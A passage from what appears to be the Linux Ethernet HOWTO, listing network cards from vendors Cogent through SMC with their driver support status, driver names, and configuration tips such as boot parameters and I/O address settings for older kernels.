        Bulletin Board Service (360) 378-5405
        Internet: support@cogentdata.com

EM100-ISA/EISA

Status: Semi-Supported, Driver Name: smc9194

These cards use the SMC 91c100 chip and may work with the SMC 91c92 driver, but this has yet to be verified.

Cogent eMASTER+, EM100-PCI, EM400, EM960, EM964

Status: Supported, Driver Name: de4x5, tulip

These are yet another DEC 21040 implementation that should hopefully work fine with the standard 21040 driver.

The EM400 and the EM964 are four port cards using a DEC 21050 bridge and 4 21040 chips.

See DEC 21040 for more information on these cards, and the present driver situation.

4.12 Compaq

Compaq aren't really in the business of making ethernet cards, but a lot of their systems have embedded ethernet controllers on the motherboard.

Compaq Deskpro / Compaq XL (Embedded AMD Chip)

Status: Supported, Driver Name: pcnet32

Machines such as the XL series have an AMD 79c97x PCI chip on the mainboard that can be used with the standard LANCE driver. But before you can use it, you have to do some trickery to get the PCI BIOS to a place where Linux can see it. Frank Maas was kind enough to provide the details:

`` The problem with this Compaq machine however is that the PCI directory is loaded in high memory, at a spot where the Linux kernel can't (won't) reach. Result: the card is never detected nor is it usable (sideline: the mouse won't work either) The workaround (as described thoroughly in http://www-c724.uibk.ac.at/XL/) is to load MS-DOS, launch a little driver Compaq wrote and then load the Linux kernel using LOADLIN. Ok, I'll give you time to say `yuck, yuck', but for now this is the only working solution I know of. The little driver simply moves the PCI directory to a place where it is normally stored (and where Linux can find it).''

More general information on the AMD chips can be found in AMD LANCE.

Compaq Nettelligent/NetFlex (Embedded ThunderLAN Chip)

Status: Supported, Driver Name: tlan

These systems use a Texas Instruments ThunderLAN chip Information on the ThunderLAN driver can be found in ThunderLAN.

Compaq PCI card

Status: Supported, Driver Name: eepro100

Check your card - if it has part number 323551-821 and/or an intel 82558 chip on it then it is another Intel EEPro100 based card.

4.13 Danpex

Danpex EN9400

Status: Supported, Driver Name: de4x5, tulip

Yet another card based on the DEC 21040 chip, reported to work fine, and at a relatively cheap price.

See DEC 21040 for more information on these cards, and the present driver situation.

4.14 D-Link

DE-100, DE-200, DE-220-T, DE-250

Status: Supported, Driver Name: ne (+8390)

Some of the early D-Link cards didn't have the 0x57 PROM signature, but the ne2000 driver knows about them. For the software configurable cards, you can get the config program from www.dlink.com. The DE2** cards were the most widely reported as having the spurious transfer address mismatch errors with early versions of linux. Note that there are also cards from Digital (DEC) that are also named DE100 and DE200, but the similarity stops there.

DE-520

Status: Supported, Driver Name: pcnet32

This is a PCI card using the PCI version of AMD's LANCE chip. DMA selection and chip numbering information can be found in AMD LANCE.

More technical information on AMD LANCE based Ethernet cards can be found in Notes on AMD....

DE-528

Status: Supported, Driver Name: ne, ne2k-pci (+8390)

Apparently D-Link have also started making PCI NE2000 clones.

DE-530

Status: Supported, Driver Name: de4x5, tulip

This is a generic DEC 21040 PCI chip implementation, and is reported to work with the generic 21040 tulip driver. Note that this is NOT the DFE-530.

See DEC 21040 for more information on these cards, and the present driver situation.

DE-600

Status: Supported, Driver Name: de600

Laptop users and other folk who might want a quick way to put their computer onto the ethernet may want to use this. The driver is included with the default kernel source tree. Expect about 180kb/s transfer speed from this via the parallel port. You should read the README.DLINK file in the kernel source tree.

Note that the device name that you pass to ifconfig is now eth0 and not the previously used dl0.

If your parallel port is not at the standard 0x378 then you will have to recompile, as the address is compiled directly into the driver. Also note that some laptops implement the on-board parallel port at 0x3bc which is where the parallel ports on monochrome cards were/are.

DE-620

Status: Supported, Driver Name: de620

Same as the DE-600, only with two output formats. Bjorn has written a driver for this model, for kernel versions 1.1 and above. See the above information on the DE-600.

DE-650

Status: Semi-Supported, Driver Name: de650 (?)

Some people have been using this PCMCIA card for some time now with their notebooks. It is a basic 8390 design, much like a NE2000. The LinkSys PCMCIA card and the IC-Card Ethernet are supposedly DE-650 clones as well. Note that at present, this driver is not part of the standard kernel, and so you will have to do some patching. See PCMCIA Support in this document.

DFE-530TX

Status Supported, Driver Name: via-rhine

Another card using the VIA Rhine chipset. (see VIA Rhine) Don't confuse this with the DE-530 which is a tulip based card.

DFE-538TX

Status Supported, Driver Name: rtl8139, 8139too

This card uses the RealTek 8139 chip - see the section RealTek 8139.

4.15 DFI

DFINET-300 and DFINET-400

Status: Supported, Driver Name: ne (+8390)

Yet another poor NE clone card - these use `DFI' in the first 3 bytes of the prom, instead of using 0x57 in bytes 14 and 15, which is what all the NE1000 and NE2000 cards should use. (The 300 is an 8 bit pseudo NE1000 clone, and the 400 is a pseudo NE2000 clone.)

4.16 Digital / DEC

DEPCA, DE100/1, DE200/1/2, DE210, DE422

Status: Supported, Driver Name: depca

There is documentation included in the source file `depca.c', which includes info on how to use more than one of these cards in a machine. Note that the DE422 is an EISA card. These cards are all based on the AMD LANCE chip. See AMD LANCE for more info. A maximum of two of the ISA cards can be used, because they can only be set for 0x300 and 0x200 base I/O address. If you are intending to do this, please read the notes in the driver source file depca.c in the standard kernel source tree.

This driver will also work on Alpha CPU based machines, and there are various ioctl()s that the user can play with.

Digital EtherWorks 3 (DE203, DE204, DE205)

Status: Supported, Driver Name: ewrk3

These cards use a proprietary chip from DEC, as opposed to the LANCE chip used in the earlier cards like the DE200. These cards support both shared memory or programmed I/O, although you take about a 50%performance hit if you use PIO mode. The shared memory size can be set to 2kB, 32kB or 64kB, but only 2 and 32 have been tested with this driver. David says that the performance is virtually identical between the 2kB and 32kB mode. There is more information (including using the driver as a loadable module) at the top of the driver file ewrk3.c and also in README.ewrk3. Both of these files come with the standard kernel distribution. This driver has Alpha CPU support like depca.c does.

The standard driver has a number of interesting ioctl() calls that can be used to get or clear packet statistics, read/write the EEPROM, change the hardware address, and the like. Hackers can see the source code for more info on that one.

David has also written a configuration utility for this card (along the lines of the DOS program NICSETUP.EXE) along with other tools. These can be found on most Linux FTP sites in the directory /pub/Linux/system/Network/management -- look for the file ewrk3tools-X.XX.tar.gz.

DE425 EISA, DE434, DE435, DE500

Status: Supported, Driver Name: de4x5, tulip

These cards are based on the 21040 chip mentioned below. The DE500 uses the 21140 chip to provide 10/100Mbs ethernet connections. Have a read of the 21040 section below for extra info. There are also some compile-time options available for non-DEC cards using this driver. Have a look at README.de4x5 for details.

All the Digital cards will autoprobe for their media (except, temporarily, the DE500 due to a patent issue).

This driver is also Alpha CPU ready and supports being loaded as a module. Users can access the driver internals through ioctl() calls - see the 'ewrk3' tools and the de4x5.c sources for information about how to do this.

DEC 21040, 21041, 2114x, Tulip

Status: Supported, Driver Name: de4x5, tulip

The DEC 21040 is a bus-mastering single chip ethernet solution from Digital, similar to AMD's PCnet chip. The 21040 is specifically designed for the PCI bus architecture. Apparently these chips are no longer being produced, as Intel has bought the semiconductor portion of DEC and is favouring their own ethernet chip(s).

You have a choice of two drivers for cards based on this chip. There is the DE425 driver discussed above, and the generic 21040 `tulip' driver.

Warning: Even though your card may be based upon this chip, the drivers may not work for you. David C. Davies writes:

``There are no guarantees that either `tulip.c' OR `de4x5.c' will run any DC2114x based card other than those they've been written to support. WHY?? You ask. Because there is a register, the General Purpose Register (CSR12) that (1) in the DC21140A is programmable by each vendor and they all do it differently (2) in the DC21142/3 this is now an SIA control register (a la DC21041). The only small ray of hope is that we can decode the SROM to help set up the driver. However, this is not a guaranteed solution since some vendors (e.g. SMC 9332 card) don't follow the Digital Semiconductor recommended SROM programming format."

In non-technical terms, this means that if you aren't sure that an unknown card with a DC2114x chip will work with the linux driver(s), then make sure you can return the card to the place of purchase before you pay for it.

The 21041 chip is also found in place of the 21040 on most of the later SMC EtherPower cards. The 21140 is for supporting 100Base-T and works with the Linux drivers for the 21040 chip. To use David's de4x5 driver with non-DEC cards, have a look at README.de4x5 for details.

If you are having trouble with the tulip driver, you can try the newest version from Donald's ftp/WWW site.

Tulip Driver

There is also a (non-exhaustive) list of various cards/vendors that use the 21040 chip.

4.17 Farallon

Farallon sells EtherWave adaptors and transceivers. This device allows multiple 10baseT devices to be daisy-chained.

Farallon Etherwave

Status: Supported, Driver Name: 3c509

This is reported to be a 3c509 clone that includes the EtherWave transceiver. People have used these successfully with Linux and the present 3c509 driver. They are too expensive for general use, but are a great option for special cases. Hublet prices start at $125, and Etherwave adds $75-$100 to the price of the board -- worth it if you have pulled one wire too few, but not if you are two network drops short.

Farallon PCI 593

Status: Supported, Driver Name: de4x5, tulip

It has been reported that this card was detected with the de4x5 driver.

4.18 Fujitsu

Unlike many network chip manufacturers, Fujitsu have also made and sold some network cards based upon their chip.

Fujitsu FMV-181/182/183/184

Status: Supported, Driver Name: fmv18x

According to the driver, these cards are a straight forward Fujitsu MB86965 implementation, which would make them very similar to the Allied Telesis AT1700 cards.

4.19 Hewlett Packard

The 272** cards use programmed I/O, similar to the NE*000 boards, but the data transfer port can be `turned off' when you aren't accessing it, avoiding problems with autoprobing drivers.

Thanks to Glenn Talbott for helping clean up the confusion in this section regarding the version numbers of the HP hardware.

HP Night Director+ 10/100

Status: Supported, Driver Name: pcnet32

Apparently these cards use the AMD 79C972 chip.

27245A

Status: Supported, Driver Name: hp (+8390)

8 bit 8390 based 10BaseT, not recommended for all the 8 bit reasons. It was re-designed a couple years ago to be highly integrated which caused some changes in initialization timing which only affected testing programs, not LAN drivers. (The new card is not `ready' as soon after switching into and out of loopback mode.)

If you intend on using this driver as a loadable module you should probably see Using the Ethernet Drivers as Modules for module specific information.

HP EtherTwist, PC Lan+ (27247, 27252A)

Status: Supported, Driver Name: hp+ (+8390)

The HP PC Lan+ is different to the standard HP PC Lan card. This driver was added to the list of drivers in the standard kernel during the v1.1.x development cycle. It can be operated in either a PIO mode like a ne2000, or a shared memory mode like a wd8013.

The 47B is a 16 Bit 8390 based 10BaseT w/AUI, and the 52A is a 16 Bit 8390 based ThinLAN w/AUI. These cards have 32K onboard RAM for Tx/Rx packet buffering instead of the usual 16KB, and they both offer LAN connector autosense.

If you intend on using this driver as a loadable module you should probably see Using the Ethernet Drivers as Modules for module specific information.

HP-J2405A

Status: Supported, Driver Name: lance

These are lower priced, and slightly faster than the 27247/27252A, but are missing some features, such as AUI, ThinLAN connectivity, and boot PROM socket. This is a fairly generic LANCE design, but a minor design decision makes it incompatible with a generic `NE2100' driver. Special support for it (including reading the DMA channel from the board) is included thanks to information provided by HP's Glenn Talbott.

More technical information on LANCE based cards can be found in Notes on AMD...

HP-Vectra On Board Ethernet

Status: Supported, Driver Name: lance

The HP-Vectra has an AMD PCnet chip on the motherboard. DMA selection and chip numbering information can be found in AMD LANCE.

More technical information on LANCE based cards can be found in Notes on AMD...

HP 10/100 VG Any Lan Cards (27248B, J2573, J2577, J2585, J970, J973)

Status: Supported, Driver Name: hp100

This driver also supports some of the Compex VG products. Since the driver supports ISA, EISA and PCI cards, it is found under ISA cards when running make config on a kernel source.

HP NetServer 10/100TX PCI (D5013A)

Status: Supported, Driver Name: eepro100

Apparently these are just a rebadged Intel EtherExpress Pro 10/100B card. See the Intel section for more information.

4.20 IBM / International Business Machines

IBM Thinkpad 300

Status: Supported, Driver Name: znet

This is compatible with the Intel based Zenith Z-note. See Z-note for more info.

Supposedly this site has a comprehensive database of useful stuff for newer versions of the Thinkpad. I haven't checked it out myself yet.

Thinkpad-info

For those without a WWW browser handy, try peipa.essex.ac.uk:/pub/tp750/

IBM Credit Card Adaptor for Ethernet

Status: Semi-Supported, Driver Name: ? (distributed separately)

People have been using this PCMCIA card with Linux as well. Similar points apply, those being that you need a supported PCMCIA chipset on your notebook, and that you will have to patch the PCMCIA support into the standard kernel. See PCMCIA Support in this document.

IBM 10/100 EtherJet PCI

Status: Supported, Driver Name: eepro100

This card is reported to be compatible with the Intel EtherExpress Pro 100 driver.

IBM Token Ring

Status: Semi-Supported, Driver Name: ibmtr

To support token ring requires more than only writing a device driver, it also requires writing the source routing routines for token ring. It is the source routing that would be the most time comsuming to write.

Initial driver development was done with IBM ISA and MCA token ring cards, and tested on an MCA 16/4 Megabit Token Ring board, but it should work with other Tropic based boards.

4.21 ICL Ethernet Cards

ICL EtherTeam 16i/32

Status: Supported, Driver Name: eth16i

This driver supports both the ISA (16i) and EISA (32) versions of the card. It uses the Fujitsu MB86965 chip that is also used on the at1700 cards.

4.22 Intel Ethernet Cards

Note that the naming of the various Intel cards is ambiguous and confusing at best. If in doubt, then check the i8xxxx number on the main chip on the card or for PCI cards, use the PCI information in the /proc directory and then compare that to the numbers listed here.

Ether Express

Status: Supported, Driver Name: eexpress

This card uses the intel i82586. Earlier versions of this driver (in v1.2 kernels) were classed as alpha-test, as it didn't work well for most people. The driver in the v2.0 kernel seems to work much better for those who have tried it, although the driver source still lists it as experimental and more problematic on faster machines.

The comments at the top of the driver source list some of the problems (and fixes!) associated with these cards. The slowdown hack of replacing all the outb with outb_p in the driver has been reported to avoid lockups for at least one user. Also check that the size of the RAM buffer reported by the driver matches what the Intel configuration utility reports.

Ether Express PRO/10 (PRO/10+)

Status: Supported, Driver Name: eepro

Bao Chau Ha has written a driver for these cards that has been included into early 1.3.x kernels. It may also work with some of the Compaq built-in ethernet systems that are based on the i82595 chip. You may have to use the configuration utility that came with the card to disable PnP support where applicable.

Ether Express PRO/10 PCI (EISA)

Status: Semi-Supported, Driver Name: ? (distributed separately)

There is a driver for the PCI version that is distributed separately from the default kernel. These cards use the PLX9036 PCI interface chip with the Intel i82596 LAN controller chip. If your card has the i82557 chip, then you don't have this card, but rather the version discussed next, and hence want the EEPro100 driver instead.

You can get the alpha driver for the PRO/10 PCI card, along with instructions on how to use it at:

EEPro10 Driver

If you have the EISA card, you will probably have to hack the driver a bit to account for the different (PCI vs. EISA) detection mechanisms that are used in each case.

Ether Express PRO 10/100B

Status: Supported, Driver Name: eepro100

Note that this driver will not work with the older 100A cards. The chip numbers listed in the driver are i82557/i82558. For driver updates and/or driver support, have a look at:

EEPro-100B Page

4.23 Kingston

Kingston make various cards, including NE2000+, AMD PCnet based cards, and DEC tulip based cards. Most of these cards should work fine with their respective driver. See Kingston Web Page

4.24 LinkSys

LinkSys make a handful of different NE2000 clones, some straight ISA cards, some ISA plug and play and some even ne2000-PCI clones based on one of the supported ne2000-PCI chipsets. There are just too many models to list here.

LinkSys are linux-friendly, with a linux specific WWW support page, and even have Linux printed on the boxes of some of their products. Have a look at:

http://www.linksys.com/support/solution/nos/linux.htm

LinkSys Etherfast 10/100 Cards.

Status: Supported, Driver Name: tulip

Note that with these cards there have been several `revisions' (i.e. different chipset used) all with the same card name. The 1st used the DEC chipset. The 2nd revision used the Lite-On PNIC 82c168 PCI Network Interface Controller, and the 3rd revision of the card uses a LinkSys 82c169 NIC chip. Support for the latter two has been merged into the standard tulip driver -- you may need a driver upgrade to get support for them depending on how old your current driver version is.

More PNIC information is available at:

http://www.scyld.com/linux/drivers/pnic.html

More information on the various versions of these cards can be found at the LinkSys WWW site mentioned above.

LinkSys Pocket Ethernet Adapter Plus (PEAEPP)

Status: Supported, Driver Name: de620

This is supposedly a DE-620 clone, and is reported to work well with that driver. See DE-620 for more information.

LinkSys PCMCIA Adaptor

Status: Supported, Driver Name: de650 (?)

This is supposed to be a re-badged DE-650. See DE-650 for more information.

4.25 Microdyne (Eagle)

Eagle Technology (aka Novell cards) was sold to Microdyne. If you can't find your card listed here, check the Novell section of this document. While Microdyne are not actively selling network cards anymore, there is still some stuff relating to their products on their site at ftp.mcdy.com

Microdyne Exos 205T

Status: Semi-Supported, Driver Name: ?

Another i82586 based card. Dirk Niggemann dirk-n@dircon.co.uk has written a driver that he classes as ``pre-alpha'' that he would like people to test. Mail him for more details.

4.26 Mylex

Mylex can be reached at the following numbers, in case anyone wants to ask them anything.

        MYLEX CORPORATION, Fremont
        Sales:  800-77-MYLEX, (510) 796-6100
        FAX:    (510) 745-8016.

They also have a web site: Mylex WWW Site

Mylex LNE390A, LNE390B

Status: Supported, Driver Name: lne390 (+8390)

These are fairly old EISA cards that make use of a shared memory implementation similar to the wd80x3. A driver for these cards is available in the current 2.1.x series of kernels. Ensure you set the shared memory address below 1MB or above the highest address of the physical RAM installed in the machine.

Mylex LNP101

Status: Supported, Driver Name: de4x5, tulip

This is a PCI card that is based on DEC's 21040 chip. It is selectable between 10BaseT, 10Base2 and 10Base5 output. The LNP101 card has been verified to work with the generic 21040 driver.

See the section on the 21040 chip ( DEC 21040) for more information.

Mylex LNP104

Status: Semi-Supported, Driver Name: de4x5, tulip

The LNP104 uses the DEC 21050 chip to deliver four independent 10BaseT ports. It should work with recent 21040 drivers that know how to share IRQs, but nobody has reported trying it yet (that I am aware of).

4.27 Novell Ethernet, NExxxx and associated clones.

The prefix `NE' came from Novell Ethernet. Novell followed the cheapest NatSemi databook design and sold the manufacturing rights (spun off?) Eagle, just to get reasonably-priced ethercards into the market. (The now ubiquitous NE2000 card.)

NE1000, NE2000

Status: Supported, Driver Name: ne (+8390)

The ne2000 is now a generic name for a bare-bones design around the NatSemi 8390 chip. They use programmed I/O rather than shared memory, leading to easier installation but slightly lower performance and a few problems. Some of the more common problems that arise with NE2000 cards are listed in Problems with...

Some NE2000 clones use the National Semiconductor `AT/LANTic' 83905 chip, which offers a shared memory mode similar to the wd8013 and EEPROM software configuration. The shared memory mode will offer less CPU usage (i.e. more efficient) than the programmed I/O mode.

In general it is not a good idea to put a NE2000 clone at I/O address 0x300 because nearly every device driver probes there at boot. Some poor NE2000 clones don't take kindly to being prodded in the wrong areas, and will respond by locking your machine. Also 0x320 is bad because SCSI drivers probe into 0x330.

Donald has written a NE2000 diagnostic program (ne2k.c) for all ne2000 cards. See Diagnostic Programs for more information.

If you intend on using this driver as a loadable module you should probably see Using the Ethernet Drivers as Modules for module specific information.

NE2000-PCI (RealTek/Winbond/Compex)

Status: Supported, Driver Name: ne, ne2k-pci (+8390)

Yes, believe it or not, people are making PCI cards based on the more than ten year old interface design of the ne2000. At the moment nearly all of these cards are based on the RealTek 8029 chip, or the Winbond 89c940 chip. The Compex, KTI, VIA and Netvin cards apparently also use these chips, but have a different PCI ID.

The latest v2.0 kernel has support to automatically detect all these cards and use them. (If you are using a kernel v2.0.34 or older, you should upgrade to ensure your card will be detected.) There are now two drivers to choose from; the original ISA/PCI ne.c driver, and a relatively new PCI-only ne2k-pci.c driver.

To use the original ISA/PCI driver you have to say `Y' to the `Other ISA cards' option when running make config as you are actually using the same NE2000 driver as the ISA cards use. (That should also give you a hint that these cards aren't anywhere as intelligent as say a PCNet-PCI or DEC 21040 card...)

The newer PCI-only driver differs from the ISA/PCI driver in that all the support for old NE1000 8 bit cards has been removed and that data is moved to/from the card in bigger blocks, without any intervening pauses that the older ISA-NE2000's required for reliable operation. The result is a driver that is slightly smaller and slightly more efficient, but don't get too excited as the difference will not be obvious under normal use. (If you really wanted maximum efficiency/low CPU use, then a PCI-NE2000 is simply a very poor choice.) Driver updates and more information can be found at:

http://www.scyld.com/linux/drivers/ne2k-pci.html

If you have a NE2000 PCI card that is not detected by the most current version of the driver, please contact the maintainer of the NE2000 driver as listed in /usr/src/linux/MAINTAINERS along with the output from a cat /proc/pci and dmesg so that support for your card can also be added to the driver.

Also note that various card makers have been known to put `NE2000 Compatible' stickers on their product boxes even when it is completely different (e.g. PCNet-PCI or RealTek 8139). If in doubt check the main chip number against this document.

NE-10/100

Status: Not Supported.

These are ISA 100Mbps cards based on the National Semiconductor DP83800 and DP83840 chips. There is currently no driver support, nor has anyone reported that they are working on a driver. Apparently documentation on the chip is unavailable with the exception of a single PDF file that doesn't give enough details for a driver.

NE1500, NE2100

Status: Supported, Driver Name: lance

These cards use the original 7990 LANCE chip from AMD and are supported using the Linux lance driver. Newer NE2100 clones use the updated PCnet/ISA chip from AMD.

Some earlier versions of the lance driver had problems with getting the IRQ line via autoIRQ from the original Novell/Eagle 7990 cards. Hopefully this is now fixed. If not, then specify the IRQ via LILO, and let us know that it still has problems.

DMA selection and chip numbering information can be found in AMD LANCE.

More technical information on LANCE based cards can be found in Notes on AMD...

NE/2 MCA

Status: Semi-Supported, Driver Name: ne2

There were a few NE2000 microchannel cards made by various companies. This driver, available in v2.2 kernels, will detect the following MCA cards: Novell Ethernet Adapter NE/2, Compex ENET-16 MC/P, and the Arco Ethernet Adapter AE/2.

NE3200

Status: Not Supported.

This old EISA card uses a 8MHz 80186 in conjunction with an i82586. Nobody is working on a driver for it, as there is no information available on the card, and no real demand for a driver either.

NE3210

Status: Supported, Driver Name: ne3210 (+8390)

This EISA card is completely different from the NE3200, as it uses a Nat Semi 8390 chip. The driver can be found in the v2.2 kernel source tree. Ensure you set the shared memory address below 1MB or above the highest address of the physical RAM installed in the machine.

NE5500

Status: Supported, Driver Name: pcnet32

These are just AMD PCnet-PCI cards ('970A) chips. More information on LANCE/PCnet based cards can be found in AMD LANCE.

4.28 Proteon

Proteon P1370-EA

Status: Supported, Driver Name: ne (+8390)

Apparently this is a NE2000 clone, and works fine with Linux.

Proteon P1670-EA

Status: Supported, Driver Name: de4x5, tulip

This is yet another PCI card that is based on DEC's Tulip chip. It has been reported to work fine with Linux.

See the section on the 21040 chip ( DEC 21040) for more driver information.

4.29 Pure Data

PDUC8028, PDI8023

Status: Supported, Driver Name: wd (+8390)

The PureData PDUC8028 and PDI8023 series of cards are `almost clones' of the wd80x3 cards - there is special code in the wd.c driver to probe for these cards.

4.30 Racal-Interlan

Racal Interlan can be reached via WWW at www.interlan.com. I believe they were also known as MiCom-Interlan at one point in the past.

ES3210

Status: Semi-Supported, Driver Name: es3210

This is an EISA 8390 based shared memory card. An experimetal driver is shipped with v2.2 kernels and it is reported to work fine, but the EISA IRQ and shared memory address detection appears not to work with (at least) the early revision cards. (This problem is not unique to the Linux world either...) In that case, you have to supply them to the driver. For example, card at IRQ 5 and shared memory 0xd0000, with a modular driver, add options es3210 irq=5 mem=0xd0000 to /etc/conf.modules. Or with the driver compiled into the kernel, supply at boot ether=5,0,0xd0000,eth0 The I/O base is automatically detected and hence a value of zero should be used.

NI5010

Status: Semi-Supported, Driver Name: ni5010

You used to have to go get the driver for these old 8 bit MiCom-Interlan cards separately, but now it is shipped with the v2.2 kernels as an experimental driver.

NI5210

Status: Semi-Supported, Driver Name: ni52

This card also uses one of the Intel chips. Michael Hipp has written a driver for this card. It is included in the standard kernel as an `alpha' driver. Michael would like to hear feedback from users that have this card. See Alpha Drivers for important information on using alpha-test ethernet drivers with Linux.

NI6510 (not EB)

Status: Semi-Supported, Driver Name: ni65

There is also a driver for the LANCE based NI6510, and it is also written by Michael Hipp. Again, it is also an `alpha' driver. For some reason, this card is not compatible with the generic LANCE driver. See Alpha Drivers for important information on using alpha-test ethernet drivers with Linux.

EtherBlaster (aka NI6510EB)

Status: Supported, Driver Name: lance

As of kernel 1.3.23, the generic LANCE driver had a check added to it for the 0x52, 0x44 NI6510EB specific signature. Others have reported that this signature is not the same for all NI6510EB cards however, which will cause the lance driver to not detect your card. If this happens to you, you can change the probe (at about line 322 in lance.c) to printk() out what the values are for your card and then use them instead of the 0x52, 0x44 defaults.

The cards should probably be run in `high-performance' mode and not in the NI6510 compatible mode when using the lance driver.

4.31 RealTek

RealTek RTL8002/8012 (AT-Lan-Tec) Pocket adaptor

Status: Supported, Driver Name: atp

This is a generic, low-cost OEM pocket adaptor being sold by AT-Lan-Tec, and (likely) a number of other suppliers. A driver for it is included in the standard kernel. Note that there is substantial information contained in the driver source file `atp.c'.

Note that the device name that you pass to ifconfig was not eth0 but atp0 for earlier versions of this driver.

RealTek 8009

Status: Supported, Driver Name: ne (+8390)

This is an ISA NE2000 clone, and is reported to work fine with the linux NE2000 driver. The rset8009.exe program can be obtained from RealTek's WWW site at http://www.realtek.com.tw - or via ftp from the same site.

RealTek 8019

Status: Supported, Driver Name: ne (+8390)

This is a Plug and Pray version of the above. Use the DOS software to disable PnP and enable jumperless configuration; set the card to a sensible I/O address and IRQ and you should be ready to go. (If using the driver as a module, don't forget to add an io=0xNNN option to /etc/conf.modules). The rset8019.exe program can be obtained from RealTek's WWW site at http://www.realtek.com.tw - or via ftp from the same site.

RealTek 8029

Status: Supported, Driver Name: ne, ne2k-pci (+8390)

This is a PCI single chip implementation of a NE2000 clone. Various vendors are now selling cards with this chip. See NE2000-PCI for information on using any of these cards. Note that this is still a 10+ year old design just glued onto a PCI bus. Performance won't be staggeringly better than the equivalent ISA model.

RealTek 8129/8139

Status: Semi-Supported, Driver Name: rtl8139, 8139too

Another PCI single chip ethernet solution from RealTek. A driver for cards based upon this chip was included in the v2.0.34 release of linux. You currently have to answer `Y' when asked if you want experimental drivers for v2.2 kernels to get access to this driver.

Donald says that cards based on this chip are around the same price (or even cheaper in places - 13 bucks!) as a PCI NE2000 clone card, and while the 8139 design is not the best 10/100 board, it is better than a PCI NE2000 clone card.

The 2.4.x kernels have another driver called 8139too which was based on rtl8139 but tries to adress some of the more common problems people were reporting, so you may wish to try that if using a 2.4 kernel.

4.32 Sager

Sager NP943

Status: Semi-Supported, Driver Name: 3c501

This is just a 3c501 clone, with a different S.A. PROM prefix. I assume it is equally as brain dead as the original 3c501 as well. The driver checks for the NP943 I.D. and then just treats it as a 3c501 after that. See 3Com 3c501 for all the reasons as to why you really don't want to use one of these cards.

4.33 Schneider & Koch

SK G16

Status: Supported, Driver Name: sk_g16

This driver was included into the v1.1 kernels, and it was written by PJD Weichmann and SWS Bern. It appears that the SK G16 is similar to the NI6510, in that it is based on the first edition LANCE chip (the 7990). Once again, it appears as though this card won't work with the generic LANCE driver.

4.34 SEEQ

SEEQ 8005

Status: Supported, Driver Name: seeq8005

There is little information about the card included in the driver, and hence little information to be put here. If you have a question, you are probably best trying to e-mail the driver author as listed in the source.

4.35 SMC (Standard Microsystems Corp.)

The ethernet part of Western Digital was bought out by SMC many years ago when the wd8003 and wd8013 were the main product. Since then SMC has continued making 8390 based ISA cards (Elite16, Ultra, EtherEZ) and also added several PCI products to their range.

Contact information for SMC:

SMC / Standard Microsystems Corp., 80 Arkay Drive, Hauppage, New York, 11788, USA. Technical Support via phone: 800-992-4762 (USA) or 800-433-5345 (Canada) or 516-435-6250 (Other Countries). Literature requests: 800-SMC-4-YOU (USA) or 800-833-4-SMC (Canada) or 516-435-6255 (Other Countries). Technical Support via E-mail: techsupt@ccmail.west.smc.com. FTP Site: ftp.smc.com. WWW Site: SMC.

WD8003, SMC Elite

Status: Supported, Driver Name: wd (+8390)

These are the 8-bit versions of the card. The 8 bit 8003 is slightly less expensive, but only worth the savings for light use. Note that some of the non-EEPROM cards (clones with jumpers, or old old old wd8003 cards) have no way of reporting the IRQ line used. In this case, auto-irq is used, and if that fails, the driver silently assings IRQ 5. You can get the SMC setup/driver disks from SMC's ftp site. Note that some of the newer SMC `SuperDisk' programs will fail to detect the real old EEPROM-less cards. The file SMCDSK46.EXE seems to be a good all-round choice. Also the jumper settings for all their cards are in an ASCII text file in the aforementioned archive. The latest (greatest?) version can be obtained from ftp.smc.com.

As these are basically the same as their 16 bit counterparts (WD8013 / SMC Elite16), you should see the next section for more information.

WD8013, SMC Elite16

Status: Supported, Driver Name: wd (+8390)

Over the years the design has added more registers and an EEPROM. (The first wd8003 cards appeared about ten years ago!) Clones usually go by the `8013' name, and usually use a non-EEPROM (jumpered) design. Late model SMC cards will have the SMC 83c690 chip instead of the original Nat Semi DP8390 found on earlier cards. The shared memory design makes the cards a bit faster than PIO cards, especially with larger packets. More importantly, from the driver's point of view, it avoids a few bugs in the programmed-I/O mode of the 8390, allows safe multi-threaded access to the packet buffer, and it doesn't have a programmed-I/O data register that hangs your machine during warm-boot probes.

Non-EEPROM cards that can't just read the selected IRQ will attempt auto-irq, and if that fails, they will silently assign IRQ 10. (8 bit versions will assign IRQ 5)

Cards with a non standard amount of memory on board can have the memory size specified at boot (or as an option in /etc/conf.modules if using modules). The standard memory size is 8kB for an 8bit card and 16kB for a 16bit card. For example, the older WD8003EBT cards could be jumpered for 32kB memory. To make full use of that RAM, you would use something like (for I/O=0x280 and IRQ 9):

        LILO: linux ether=9,0x280,0xd0000,0xd8000,eth0

Also see 8013 problems for some of the more common problems and frequently asked questions that pop up often.

If you intend on using this driver as a loadable module you should probably see Using the Ethernet Drivers as Modules for module specific information.

SMC Elite Ultra

Status: Supported, Driver Name: smc-ultra (+8390)

This ethercard is based on the 83c790 chip from SMC, which has a few new features over the 83c690. While it has a mode that is similar to the older SMC ethercards, it's not entirely compatible with the old WD80*3 drivers. However, in this mode it shares most of its code with the other 8390 drivers, while operating slightly faster than a WD8013 clone.

Since part of the Ultra looks like an 8013, the Ultra probe is supposed to find an Ultra before the wd8013 probe has a chance to mistakenly identify it.

Donald mentioned that it is possible to write a separate driver for the Ultra's `Altego' mode which allows chaining transmits at the cost of inefficient use of receive buffers, but that will probably not happen.

Bus-Master SCSI host adaptor users take note: In the manual that ships with Interactive UNIX, it mentions that a bug in the SMC Ultra will cause data corruption with SCSI disks being run from an aha-154X host adaptor. This will probably bite aha-154X compatible cards, such as the BusLogic boards, and the AMI-FastDisk SCSI host adaptors as well.

SMC has acknowledged the problem occurs with Interactive, and older Windows NT drivers. It is a hardware conflict with early revisions of the card that can be worked around in the driver design. The current Ultra driver protects against this by only enabling the shared memory during data transfers with the card. Make sure your kernel version is at least 1.1.84, or that the driver version reported at boot is at least smc-ultra.c:v1.12 otherwise you are vulnerable.

If you intend on using this driver as a loadable module you should probably see Using the Ethernet Drivers as Modules for module specific information.

SMC Elite Ultra32 EISA

Status: Supported, Driver Name: smc-ultra32 (+8390)

This EISA card shares a lot in common with its ISA counterpart. A working (and stable) driver is included in both v2.0 and v2.2 kernels. Thanks go to Leonard Zubkoff for purchasing some of these cards so that linux support could be added for them.

SMC EtherEZ (8416)

Status: Supported, Driver Name: smc-ultra (+8390)

This card uses SMC's 83c795 chip and supports the Plug 'n Play specification. It also has an SMC Ultra compatible mode, which allows it to be used with the Linux Ultra driver. For best results, use the SMC supplied program (avail. from their www/ftp site) to disable PnP and configure it for shared memory mode. See the above information for notes on the Ultra driver.

